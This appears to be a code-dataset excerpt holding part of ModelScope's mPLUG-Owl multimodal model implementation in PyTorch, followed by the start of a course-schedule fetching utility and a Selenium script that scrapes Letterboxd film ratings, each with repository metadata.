self,\n attention_mask: torch.Tensor,\n input_shape: Tuple[int],\n device: torch.device,\n ) -> torch.Tensor:\n \"\"\"\n Makes broadcastable attention and causal masks so that future and masked tokens are ignored.\n\n Arguments:\n attention_mask (`torch.Tensor`):\n Mask with ones indicating tokens to attend to, zeros for tokens to ignore.\n input_shape (`Tuple[int]`):\n The shape of the input to the model.\n device: (`torch.device`):\n The device of the input to the model.\n\n Returns:\n `torch.Tensor` The extended attention mask, with a the same dtype as `attention_mask.dtype`.\n \"\"\"\n # We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]\n # ourselves in which case we just need to make it broadcastable to all heads.\n if attention_mask.dim() == 3:\n extended_attention_mask = attention_mask[:, None, :, :]\n elif attention_mask.dim() == 2:\n extended_attention_mask = attention_mask[:, None, None, :]\n else:\n raise ValueError(\n 'Wrong shape for input_ids (shape {}) or attention_mask (shape {})'\n .format(input_shape, attention_mask.shape))\n\n # Since attention_mask is 1.0 for positions we want to attend and 0.0 for\n # masked positions, this operation will create a tensor which is 0.0 for\n # positions we want to attend and -10000.0 for masked positions.\n # Since we are adding it to the raw scores before the softmax, this is\n # effectively the same as removing these entirely.\n extended_attention_mask = extended_attention_mask.to(\n dtype=self.dtype) # fp16 compatibility\n extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0\n return extended_attention_mask\n\n def forward(\n self,\n query_embeds,\n attention_mask=None,\n head_mask=None,\n encoder_hidden_states=None,\n encoder_attention_mask=None,\n past_key_values=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n ):\n r\"\"\"\n encoder_hidden_states (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, `optional`):\n Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if\n the model is configured as a decoder.\n encoder_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, `optional`):\n Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in\n the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:\n - 1 for tokens that are **not masked**,\n - 0 for tokens that are **masked**.\n past_key_values (`tuple(tuple(torch.FloatTensor))` of length `config.n_layers` with each tuple having 4 tensors:\n shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`): Contains precomputed key and\n value hidden states of the attention blocks. Can be used to speed up decoding. If `past_key_values` are\n used, the user can optionally input only the last `decoder_input_ids` (those that don't have their past key\n value states given to this model) of shape `(batch_size, 1)` instead of all `decoder_input_ids` of shape\n `(batch_size, sequence_length)`.\n \"\"\"\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else\n self.config.output_hidden_states)\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n embedding_output = query_embeds\n input_shape = embedding_output.size()[:-1]\n batch_size, seq_length = input_shape\n device = embedding_output.device\n\n # We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]\n # ourselves in which case we just need to make it broadcastable to all heads.\n if attention_mask is None:\n attention_mask = torch.ones(\n (query_embeds.shape[0], query_embeds.shape[1]),\n dtype=torch.long,\n device=query_embeds.device)\n extended_attention_mask = self.get_extended_attention_mask(\n attention_mask, input_shape, device)\n\n # If a 2D or 3D attention mask is provided for the cross-attention\n # we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]\n if encoder_hidden_states is not None:\n if type(encoder_hidden_states) == list:\n encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states[\n 0].size()\n else:\n (\n encoder_batch_size,\n encoder_sequence_length,\n _,\n ) = encoder_hidden_states.size()\n encoder_hidden_shape = (encoder_batch_size,\n encoder_sequence_length)\n\n if type(encoder_attention_mask) == list:\n encoder_extended_attention_mask = [\n self.invert_attention_mask(mask)\n for mask in encoder_attention_mask\n ]\n elif encoder_attention_mask is None:\n encoder_attention_mask = torch.ones(\n encoder_hidden_shape, device=device)\n encoder_extended_attention_mask = self.invert_attention_mask(\n encoder_attention_mask)\n else:\n encoder_extended_attention_mask = self.invert_attention_mask(\n encoder_attention_mask)\n else:\n encoder_extended_attention_mask = None\n\n # Prepare head mask if needed\n # 1.0 in head_mask indicate we keep the head\n # attention_probs has shape bsz x n_heads x N x N\n # input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]\n # and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]\n head_mask = self.get_head_mask(head_mask,\n self.config.num_hidden_layers)\n\n encoder_outputs = self.encoder(\n embedding_output,\n attention_mask=extended_attention_mask,\n head_mask=head_mask,\n encoder_hidden_states=encoder_hidden_states,\n encoder_attention_mask=encoder_extended_attention_mask,\n past_key_values=past_key_values,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n sequence_output = encoder_outputs[0]\n pooled_output = sequence_output[:, 0, :]\n\n sequence_output = self.visual_fc(sequence_output)\n eos_repeat = self.vit_eos.repeat(sequence_output.shape[0], 1, 1)\n sequence_output = torch.cat([sequence_output, eos_repeat], dim=1)\n\n return BaseModelOutputWithPooling(\n last_hidden_state=sequence_output,\n pooler_output=pooled_output,\n hidden_states=encoder_outputs.hidden_states,\n )\n\n\nclass MplugOwlModel(MplugOwlPreTrainedModel):\n r\"\"\"The mPLUG-Owl model is a multi-modal conversation model that support various modalities as input.\n mPLUG-Owl consists a visual encoder, a visual abstrator module and a language decoder model, which enables\n both image and text input.\n This model is implemented base on mPLUG-Owl: Modularization Empowers Large Language Models with Multimodality.\n `Paper `.\n \"\"\"\n config_class = MplugOwlConfig\n main_input_name = 'pixel_values'\n\n def __init__(self, config: MplugOwlConfig):\n super().__init__(config)\n\n self.vision_model = MplugOwlVisionModel(config.vision_config)\n\n self.query_tokens = nn.Parameter(\n torch.zeros(1, config.num_query_tokens,\n config.visual_abstractor_config.hidden_size))\n self.abstractor = MplugOwlVisualAbstractorModel(\n config.visual_abstractor_config, config.text_config.hidden_size)\n\n # if config.use_decoder_only_language_model:\n language_model = AutoModelForCausalLM.from_config(config.text_config)\n self.language_model = language_model\n\n if config.text_config.model_type == 'bloom':\n bound_method = bloom_forward.__get__(\n self.language_model.transformer,\n self.language_model.transformer.__class__)\n setattr(self.language_model.transformer, 'forward', bound_method)\n\n # Initialize weights and apply final processing\n self.post_init()\n\n def get_input_embeddings(self):\n return self.language_model.get_input_embeddings()\n\n def set_input_embeddings(self, value):\n self.language_model.set_input_embeddings(value)\n\n def set_output_embeddings(self, new_embeddings):\n self.language_model.set_output_embeddings(new_embeddings)\n\n def get_output_embeddings(self) -> nn.Module:\n return self.language_model.get_output_embeddings()\n\n def get_encoder(self):\n return self.language_model.get_encoder()\n\n def get_decoder(self):\n return self.language_model.get_decoder()\n\n def _tie_weights(self):\n if not self.config.use_decoder_only_language_model:\n self.language_model.encoder.embed_tokens = self.language_model.shared\n self.language_model.decoder.embed_tokens = self.language_model.shared\n\n def get_text_features(\n self,\n input_ids: Optional[torch.Tensor] = None,\n attention_mask: Optional[torch.Tensor] = None,\n decoder_input_ids: Optional[torch.Tensor] = None,\n decoder_attention_mask: Optional[torch.Tensor] = None,\n labels: Optional[torch.Tensor] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ):\n\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else\n self.config.output_hidden_states)\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if self.config.use_decoder_only_language_model:\n text_outputs = self.language_model(\n input_ids=input_ids,\n attention_mask=attention_mask,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n else:\n inputs_embeds = self.language_model.get_input_embeddings()(\n input_ids)\n\n text_outputs = self.language_model(\n inputs_embeds=inputs_embeds,\n attention_mask=attention_mask,\n decoder_input_ids=decoder_input_ids,\n decoder_attention_mask=decoder_attention_mask,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n labels=labels,\n )\n\n return text_outputs\n\n def get_image_features(\n self,\n pixel_values: Optional[torch.FloatTensor] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ):\n\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else\n self.config.output_hidden_states)\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n vision_outputs = self.vision_model(\n pixel_values=pixel_values,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n return vision_outputs\n\n\ndef get_media_indices(my_list):\n if isinstance(my_list, torch.Tensor):\n my_list = my_list.cpu().tolist()\n result = []\n for i in range(len(my_list)):\n if i == 0 and my_list[i] < 0:\n result.append(i)\n elif my_list[i] != my_list[i - 1] and my_list[i] < 0:\n result.append(i)\n return result\n\n\nclass MplugOwlForConditionalGenerationHF(MplugOwlPreTrainedModel):\n config_class = MplugOwlConfig\n main_input_name = 'pixel_values'\n\n def __init__(self, config: MplugOwlConfig, **kwargs):\n super().__init__(config)\n\n self.vision_model = MplugOwlVisionModel(config.vision_config)\n\n self.query_tokens = nn.Parameter(\n torch.zeros(1, config.num_query_tokens,\n config.visual_abstractor_config.hidden_size))\n self.abstractor = MplugOwlVisualAbstractorModel(\n config.visual_abstractor_config, config.text_config.hidden_size)\n\n # if config.use_decoder_only_language_model:\n language_model = AutoModelForCausalLM.from_config(config.text_config)\n self.language_model = language_model\n\n # Initialize weights and apply final processing\n self.post_init()\n self.main_input_name = 'input_ids'\n\n def get_input_embeddings(self):\n return self.language_model.get_input_embeddings()\n\n def set_input_embeddings(self, value):\n self.language_model.set_input_embeddings(value)\n\n def set_output_embeddings(self, new_embeddings):\n self.language_model.set_output_embeddings(new_embeddings)\n\n def get_output_embeddings(self) -> nn.Module:\n return self.language_model.get_output_embeddings()\n\n def get_encoder(self):\n return self.language_model.get_encoder()\n\n def get_decoder(self):\n return self.language_model.get_decoder()\n\n def _tie_weights(self):\n if not self.config.use_decoder_only_language_model:\n self.language_model.encoder.embed_tokens = self.language_model.shared\n self.language_model.decoder.embed_tokens = self.language_model.shared\n\n def _preprocess_accelerate(self):\n r\"\"\"\n Some pre-processing hacks to make the model `accelerate` compatible. Check\n https://github.com/huggingface/transformers/pull/21707 for more details.\n \"\"\"\n hf_device_map = self.hf_device_map\n\n if len(\n hf_device_map\n ) > 1 and 'language_model' not in hf_device_map and torch.cuda.device_count(\n ) > 1:\n # warn users about unexpected behavior when using multi-GPU + mPLUG-Owl + `accelerate`.\n logger.warning(\n 'The `language_model` is not in the `hf_device_map` dictionary and you are running your script'\n ' in a multi-GPU environment. this may lead to unexpected behavior when using `accelerate`.'\n ' Please pass a `device_map` that contains `language_model` to remove this warning.'\n ' Please refer to https://github.com/huggingface/blog/blob/main/accelerate-large-models.md for'\n ' more details on creating a `device_map` for large models.', )\n\n if hasattr(self.language_model, '_hf_hook'):\n self.language_model._hf_hook.io_same_device = True # For `generate` compatibility\n\n def forward(\n self,\n pixel_values: torch.FloatTensor,\n input_ids: torch.FloatTensor,\n num_images,\n non_padding_mask: Optional[torch.LongTensor] = None,\n non_media_mask: Optional[torch.LongTensor] = None,\n prompt_mask: Optional[torch.LongTensor] = None,\n attention_mask: Optional[torch.LongTensor] = None,\n decoder_input_ids: Optional[torch.LongTensor] = None,\n decoder_attention_mask: Optional[torch.LongTensor] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n labels: Optional[torch.LongTensor] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, MplugOwlForConditionalGenerationModelOutput]:\n\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n # get text embedding\n text_tokens_ = input_ids\n batch_size = input_ids.shape[0]\n\n media_token_indices = [\n # [:-1] since we would not use the last token for embedding\n get_media_indices(text_tokens_[i][:-1]) for i in range(batch_size)\n ]\n text_tokens_[text_tokens_ < 0] = 1 # Not used\n text_embeds = self.get_input_embeddings()(\n text_tokens_) # Temporally Embedding\n\n if pixel_values is not None:\n pixel_values = pixel_values.half()\n image_embeds = self.vision_model(\n pixel_values, return_dict=True).last_hidden_state\n\n image_attention_mask = torch.ones(\n image_embeds.size()[:-1],\n dtype=torch.long,\n device=image_embeds.device)\n query_tokens = self.query_tokens.expand(image_embeds.shape[0], -1,\n -1)\n\n query_features = self.abstractor(\n query_embeds=query_tokens,\n encoder_hidden_states=image_embeds,\n encoder_attention_mask=image_attention_mask,\n )['last_hidden_state']\n img_seq_length = query_features.shape[1]\n\n num_images_per_sample = num_images.long().cpu().tolist()\n\n text_chunk_embeds = []\n img_idx = 0\n for b in range(batch_size):\n start = 0\n result = []\n if len(media_token_indices[b]) > 0:\n for i, pos in enumerate(media_token_indices[b]):\n if pos > start:\n result.append(text_embeds[b, start:pos])\n result.append(query_features[img_idx + i])\n start = pos + img_seq_length\n if start < text_embeds.shape[1]:\n result.append(text_embeds[b, start:])\n\n img_idx += num_images_per_sample[b]\n text_chunk_embeds.append(torch.cat(result, dim=0))\n\n # Actual Input Embeddings\n input_embeds = torch.stack(text_chunk_embeds, dim=0)\n\n # Create causal mask and position ids\n _, loss_mask, position_ids = \\\n get_ltor_masks_and_position_ids_from_embeddings(input_embeds)\n\n # Calculate the loss_mask\n non_padding_mask = non_padding_mask.long()\n non_media_mask = non_media_mask.long()\n prompt_mask = prompt_mask.long() # TODO How to deal with prompt mask\n loss_mask = loss_mask[:, :-1]\n\n loss_mask = loss_mask * non_padding_mask * non_media_mask * prompt_mask\n\n # Forward into GPT\n outputs = self.language_model(\n inputs_embeds=input_embeds,\n attention_mask=attention_mask,\n labels=labels,\n )\n outputs.loss = (outputs.loss\n * loss_mask.view(-1)).sum() / loss_mask.sum()\n return outputs\n\n @torch.no_grad()\n def generate(\n self,\n pixel_values: torch.FloatTensor,\n input_ids: Optional[torch.LongTensor] = None,\n attention_mask: Optional[torch.LongTensor] = None,\n **generate_kwargs,\n ) -> torch.LongTensor:\n \"\"\"\n Overrides `generate` function to be able to use the model as a conditional generator.\n\n Args:\n pixel_values (`torch.FloatTensor` of shape (batch_size, num_channels, height, width)):\n Input images to be processed.\n input_ids (`torch.LongTensor` of shape (batch_size, sequence_length), *optional*):\n The sequence used as a prompt for the generation.\n attention_mask (`torch.LongTensor` of shape (batch_size, sequence_length), *optional*):\n Mask to avoid performing attention on padding token indices\n\n Returns:\n captions (list): A list of strings of length batch_size * num_captions.\n \"\"\"\n\n if input_ids is not None:\n batch_size = input_ids.size(0)\n media_token_indices = [\n get_media_indices(input_ids[i]) for i in range(batch_size)\n ]\n num_images_per_sample = [len(x) for x in media_token_indices]\n input_ids = input_ids.clone()\n input_ids[input_ids < 0] = 0 # Not used\n\n if attention_mask is None:\n attention_mask = torch.ones_like(input_ids).long().to(\n input_ids.device)\n\n if hasattr(self, 'hf_device_map'):\n # preprocess for `accelerate`\n self._preprocess_accelerate()\n batch_size = input_ids.shape[0]\n # get text embedding\n inputs_embeds = self.get_input_embeddings()(input_ids)\n # get visual embedding\n if pixel_values is not None:\n pixel_values = pixel_values.half()\n pixel_values = pixel_values.to(input_ids.device)\n with torch.no_grad():\n image_embeds = self.vision_model(\n pixel_values, return_dict=True).last_hidden_state\n image_attention_mask = torch.ones(\n image_embeds.size()[:-1],\n dtype=torch.long,\n device=image_embeds.device)\n query_tokens = self.query_tokens.expand(\n image_embeds.shape[0], -1, -1)\n query_outputs = self.abstractor(\n query_embeds=query_tokens,\n encoder_hidden_states=image_embeds,\n encoder_attention_mask=image_attention_mask,\n return_dict=True,\n )\n query_output = query_outputs['last_hidden_state']\n image_embeds = query_output\n img_seq_length = image_embeds.shape[1]\n\n # ===================\n # Get actual input embeddings\n # ===================\n text_chunk_embeds = []\n text_chunk_attns = []\n img_idx = 0\n\n for b in range(batch_size):\n start = 0\n result = []\n result_attn = []\n for i, pos in enumerate(media_token_indices[b]):\n if pos > start:\n result.append(inputs_embeds[b, start:pos])\n result_attn.append(attention_mask[b, start:pos])\n result.append(image_embeds[img_idx + i])\n result_attn.append(\n torch.ones(\n image_embeds[img_idx + i].shape[0],\n device=inputs_embeds.device))\n start = pos + img_seq_length\n if start < inputs_embeds.shape[1]:\n result.append(inputs_embeds[b, start:])\n result_attn.append(attention_mask[b, start:])\n\n img_idx += num_images_per_sample[b]\n text_chunk_embeds.append(torch.cat(result, dim=0))\n text_chunk_attns.append(torch.cat(result_attn, dim=0))\n inputs_embeds = torch.stack(text_chunk_embeds, dim=0)\n attention_mask = torch.stack(text_chunk_attns, dim=0)\n\n outputs = self.language_model.generate(\n inputs_embeds=inputs_embeds,\n attention_mask=attention_mask,\n **generate_kwargs,\n )\n\n return outputs\n\n\n@MODELS.register_module(\n Tasks.multimodal_dialogue, module_name=Models.mplug_owl)\nclass MplugOwlForConditionalGeneration(TorchModel):\n\n def __init__(self, model_dir: str, *args, **kwargs):\n \"\"\"initialize the mPLUG-Owl model from the `model_dir` path.\n Args:\n model_dir (str): the model path.\n \"\"\"\n\n super().__init__(model_dir, *args, **kwargs)\n self.model = MplugOwlForConditionalGenerationHF.from_pretrained(\n model_dir,\n torch_dtype=torch.half,\n )\n\n def forward(self, input: Dict[str, Tensor]) -> Dict[str, Tensor]:\n output = self.model.generate(**input)\n return output\n", "repo_name": "modelscope/modelscope", "sub_path": "modelscope/models/multi_modal/mplug_owl/modeling_mplug_owl.py", "file_name": "modeling_mplug_owl.py", "file_ext": "py", "file_size_in_byte": 69454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4825, "dataset": "github-code", "pt": "16", "api": [{"api_name": "transformers.utils.ModelOutput", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 59, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 59, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 60, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 61, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 62, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 62, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 64, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 64, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 74, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 75, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 77, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 78, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 79, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 80, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.utils.checkpoint.checkpoint", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 166, "usage_type": "attribute"}, {"api_name": "transformers.modeling_outputs.BaseModelOutputWithPastAndCrossAttentions", "line_number": 205, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 85, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 85, "usage_type": "attribute"}, {"api_name": "transformers.modeling_outputs.BaseModelOutputWithPastAndCrossAttentions", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.tril", "line_number": 221, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 228, "usage_type": "attribute"}, {"api_name": "torch.arange", "line_number": 231, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 232, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 241, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 241, "usage_type": "name"}, {"api_name": "modelscope.models.multi_modal.mplug_owl.configuration_mplug_owl.MplugOwlVisionConfig", "line_number": 243, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 250, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 250, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 250, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 252, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 261, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.nn.LayerNorm", "line_number": 264, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 264, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 268, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 275, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 268, "usage_type": "attribute"}, {"api_name": "torch.nn.LayerNorm", "line_number": 283, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 283, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 289, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.layer_norm", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 290, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 300, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 300, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 314, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 314, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 316, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 316, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 318, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 318, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 320, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 326, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 327, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 327, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 328, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 347, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 353, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 363, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 329, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 329, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 329, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 330, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 330, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 330, "usage_type": "attribute"}, {"api_name": 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{"api_name": "typing.Optional", "line_number": 1483, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 1484, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 1485, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 1485, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 1486, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 1508, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 1510, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 1539, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 1542, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 1487, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 1487, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 1569, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 1570, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 1570, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 1571, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 1571, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 1599, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 1612, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 1615, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 1617, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 1648, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 1657, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 1658, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 1659, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 1660, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 1566, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 1573, "usage_type": "attribute"}, {"api_name": "modelscope.models.TorchModel", "line_number": 1673, "usage_type": "name"}, {"api_name": "torch.half", "line_number": 1684, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 1687, "usage_type": "name"}, {"api_name": "modelscope.models.base.Tensor", "line_number": 1687, "usage_type": "name"}, {"api_name": "modelscope.models.builder.MODELS.register_module", "line_number": 1671, "usage_type": "call"}, {"api_name": "modelscope.models.builder.MODELS", "line_number": 1671, "usage_type": "name"}, {"api_name": "modelscope.utils.constant.Tasks.multimodal_dialogue", "line_number": 1672, "usage_type": "attribute"}, {"api_name": "modelscope.utils.constant.Tasks", "line_number": 1672, "usage_type": "name"}, {"api_name": "modelscope.metainfo.Models.mplug_owl", "line_number": 1672, "usage_type": "attribute"}, {"api_name": "modelscope.metainfo.Models", "line_number": 1672, "usage_type": "name"}]} +{"seq_id": "73908262727", "text": "import parse_html\nimport fetch_html\nimport schedule\nfrom utilities import to_next_term\nfrom login import login\n\ndef get_schedule(sid, pin, Next):\n \"\"\" Function to set our schedule variable. Get current schedule if next schedule flag not set \"\"\"\n \n login_number = 2\n term = ''\n for i in range(login_number):\n \n html = fetch_html.setup_schedule_page()\n title = parse_html.get_page_title(html)\n if title != 'Login':\n if title == 'Select Term ':\n term = parse_html.get_current_term(html)\n if Next:\n term = to_next_term(term)\n else:\n courses = parse_html.get_current_classes(html) \n return schedule.Schedule(html, courses, term)\n else:\n login(sid, pin)\n continue\n\n html = fetch_html.get_schedule(term)\n courses = parse_html.get_current_classes(html)\n return schedule.Schedule(html, courses, term)\n", "repo_name": "thedjpetersen/reglib", "sub_path": "reglib/utilities/get_schedule.py", "file_name": "get_schedule.py", "file_ext": "py", "file_size_in_byte": 986, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "16", "api": [{"api_name": "fetch_html.setup_schedule_page", "line_number": 14, "usage_type": "call"}, {"api_name": "parse_html.get_page_title", "line_number": 15, "usage_type": "call"}, {"api_name": "parse_html.get_current_term", "line_number": 18, "usage_type": "call"}, {"api_name": "utilities.to_next_term", "line_number": 20, "usage_type": "call"}, {"api_name": "parse_html.get_current_classes", "line_number": 22, "usage_type": "call"}, {"api_name": "schedule.Schedule", "line_number": 23, "usage_type": "call"}, {"api_name": "login.login", "line_number": 25, "usage_type": "call"}, {"api_name": "fetch_html.get_schedule", "line_number": 28, "usage_type": "call"}, {"api_name": "parse_html.get_current_classes", "line_number": 29, "usage_type": "call"}, {"api_name": "schedule.Schedule", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "39505808068", "text": "# A program that takes takes an existing 'Letterboxd'\n# user and scrapes their profile for film ratings,\n# extracting them in the default csv format.\n#\n# Author: Emmanuel Macario\n# Date: 26/01/18\n# Last Modified: 28/01/19\n\nimport csv\nimport re\nimport os\nimport sys\nimport urllib.request\nimport urllib.error\nfrom math import ceil\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import TimeoutException\n\nBASE_URL = 'https://letterboxd.com/'\nRATINGS_PATH = '/films/page/'\nDRIVER_PATH = os.path.join(os.getcwd(), 'chromedriver.exe')\nRATINGS_PER_PAGE = 72\n\n# TODO: Experiment with PhantomJS or Headless Chrome instead of normal Chrome\n# TODO: Write scraped output to CSV file\n\n\ndef main():\n # Open up a Chrome browser and navigate to user's profile web page\n username = input(\"Enter username: \")\n\n validate_user_existence(username)\n\n browser = initialise_browser()\n\n # Calculate total number of pages to be scraped\n total_pages = calc_total_pages(browser, username)\n print(\"Total Pages:\", total_pages)\n\n # Scrape all pages for their ratings\n scrape_all_ratings(browser, username, total_pages)\n\n # Clean up, close browser once task is completed\n browser.close()\n\n\ndef initialise_browser():\n # Operate Chrome in headless mode\n chrome_options = Options()\n chrome_options.headless = False\n\n 